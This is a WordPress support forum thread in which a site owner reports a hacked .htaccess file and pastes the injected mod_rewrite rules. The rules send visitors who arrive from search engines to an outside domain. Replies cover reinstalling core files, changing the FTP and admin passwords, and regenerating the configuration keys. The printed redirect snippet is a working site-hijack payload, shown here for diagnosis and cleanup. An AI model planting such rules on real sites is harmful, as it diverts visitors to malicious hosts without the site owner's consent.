Support » Fixing WordPress » Wp .htaccess is hacked for the 2nd time

  • Hello,

    I’m using the latest version of wp. ie., v3.2.1
    Site hosted in Godaddy hosting.

    Previously my wp .htaccess was modified by someone,
    I removed the code and now again it’s modified with the same code.
    This code redirects my search engine traffic to some other website.

    I have mentioned about this previously here:
    http://www.wpsecuritylock.com/wordpress-3-2-gershwin-is-released/comment-page-1/#comment-4687
    I really don’t know how it’s been done.

    Please advise me how to prevent this from happening again.

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteOptions inherit
    RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
    RewriteRule .* http : // sokoloperkovuskeci . com / in . php ? g = 56 [R,L]
    </IfModule>
Viewing 15 replies - 1 through 15 (of 49 total)
  • It’s likely that you have some other malicious code somewhere on your site that is changing the .htaccess file, rather that it being hacked twice.

    I’d recommend a complete re-install of WP so that you can be sure all the core files are clean. Then if it happens again I’d recommend turning off all plugins and switching to the TwentyEleven theme. If it does not happen again then you have narrowed it down to an issue with your theme or with a plugin.

    Thanks.

    @duck__boy Thank you.
    I will re-install wp from the dashboard and keep posted about this.

    Pl don’t close this thread.

    As oppesed to from the Dashboard, I’d actually download the full package and copy it over what you have already – it won’t hurt anything in the wp_content folder and only updates your core files (doesn’t touch wp-config.php or .htaccess either). That way you know every core file is clean, as opposed to only the ones that were changed for the last update.

    Thanks.

    Thank you very much duck__boy. I will do it as u advised.

    I agree with duck__boy’s suggestion, but I also wanted to let you know that you can request a security review by the GoDaddy.com Security Team.

    If you ever suspect there has been malicious activity on your site, just fill out this form – http://godaddy.com/securityissue – and your site will be reviewed. Depending the situation, we may clean the code directly, advise you to make certain changes, and/or provide other information that could be helpful to you.

    Please don’t hesitate to take advantage of this service if and when you need it.

    @duck__boy
    I have replaced all the core wp files.

    @godaddy
    Thanks for the support.
    It’s excellent that you help even in wp forums.
    I have submitted a review through the link you provided.

    Godaddy Incident ID is: 12546944

    That is pretty good service from GoDaddy actually, hope it helps get the problem sorted.

    Thanks.

    @hema Latha – hi i’m researching this and gathering any info i can find to track the exact hacking method used in this type of hack so if you could provide me with some info that would be great.

    Please send a list of all the plugins you were using at the time your site was hacked. email edward[at]ait-pro[dot]com. I don’t want to offend any plugin authors or send the wrong message so please do not post that here. Thanks.

    Do you use the FileZilla FTP software?

    Did you happen to look at the file modified date for your .htaccess file?

    I am tracking and investigating some other people’s sites that had this exact same hack done to their .htaccess files. The file modified date on the .htaccess files was Tuesday, August 09, 2011, 6:23 PM. Is this about the same time that your .htaccess file was hacked?

    Thanks.
    Ed

    Hi actually never mind about sending me any info. This was a larger scale attack directed at servers and not individual sites. Thanks.

    I got the below reply from Godaddy:

    Thank you for contacting Online Support.
    The issue in question is due to a compromise on the account
    and we recommend that you update the following passwords:

    FTP, WordPress Admin, and Database password.

    Beyond that,
    you will want to review your files for the malicious and clean them out
    as we are unable to do so at this point.

    ———————————————————————–

    I have changed my FTP, Wp Admin & DB Password.
    Also, I have deleted created a new Admin ID & Deleted the old Admin ID.

    ———————————————————————–

    @aitpro .. I too came across more .htaccess file modified posts in this forum.

    After few searches I came to know that I have change the keys inside wp-config.

    Now I changed these keys:

    define(‘AUTH_KEY’,
    define(‘SECURE_AUTH_KEY’,
    define(‘LOGGED_IN_KEY’,
    define(‘NONCE_KEY’,

    Using the link: http://api.wordpress.org/secret-key/1.1/
    which generates random keys.

    @samuel B – What i was trying to determine was the method of attack by cross referencing several sites that had been compromised. Sites that had .htaccess protection from a direct frontal attack / hack were compromised and after 24 hours of investigations I found that FTP passwords were compromised on all of the other sites. So I guess this info will be important to anyone searching for why / how and what to do about it. This is a very high ranking post (how i came across it) and there is very little info out there since this is a relativly recent attack. The volume of the attack is still unknown, but hopefully it was fairly contained. What i suspect is that a lot of people are not yet aware that their site has been compromised. Thanks.

    @hema Latha – Thank you for emailing me this info as well. 100% confirmation of method of attack / hack.

    Yep the WordPress Authentication Unique Keys / Salts will make your DB password pretty much uncrackable.

    Thank you again 🙂
    Ed

    I would like to know how this attack works as well. If it uses eval and base64_decode PHP functions, why not disable them via php.ini if your hosts allows it? I know some developers like to use these functions. I know this could possible break your theme or plugins, but it’s worth trying. I do not believe any theme or plugin that I currently use, uses these functions, so I have them disable anyways, and they’ve been disabled for some time with no ill effects. Am I incorrect in doing this? If anyone else can correct me, I would appreciate the ‘polite’ advice.

    Also, since timthumb works with the uploaded images, is that how the malicious code is brought in? Is the payload brought in via an image upload? No one else has provided much more information.

Viewing 15 replies - 1 through 15 (of 49 total)
  • The topic ‘Wp .htaccess is hacked for the 2nd time’ is closed to new replies.